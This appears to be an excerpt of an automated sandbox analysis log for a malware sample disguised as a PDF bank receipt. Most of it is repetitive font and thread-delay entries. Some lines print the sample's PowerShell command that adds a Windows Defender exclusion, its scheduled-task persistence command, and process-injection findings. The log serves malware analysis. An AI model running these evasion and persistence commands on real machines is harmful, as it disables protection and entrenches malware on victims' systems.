Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596579
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596454
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595954
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595579
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595454
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594954
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594579
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594454
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 593954
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4149391535.0000000000EF7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<5l
Source: teXfNv.exe, 0000000B.00000002.4149232690.0000000000D67000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllH
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\teXfNv.exe"
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\teXfNv.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Memory written: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Memory written: C:\Users\user\AppData\Roaming\teXfNv.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\teXfNv.exe" Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpB0EF.tmp" Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Process created: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe "C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\teXfNv" /XML "C:\Users\user\AppData\Local\Temp\tmpC16A.tmp" Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Process created: C:\Users\user\AppData\Roaming\teXfNv.exe "C:\Users\user\AppData\Roaming\teXfNv.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
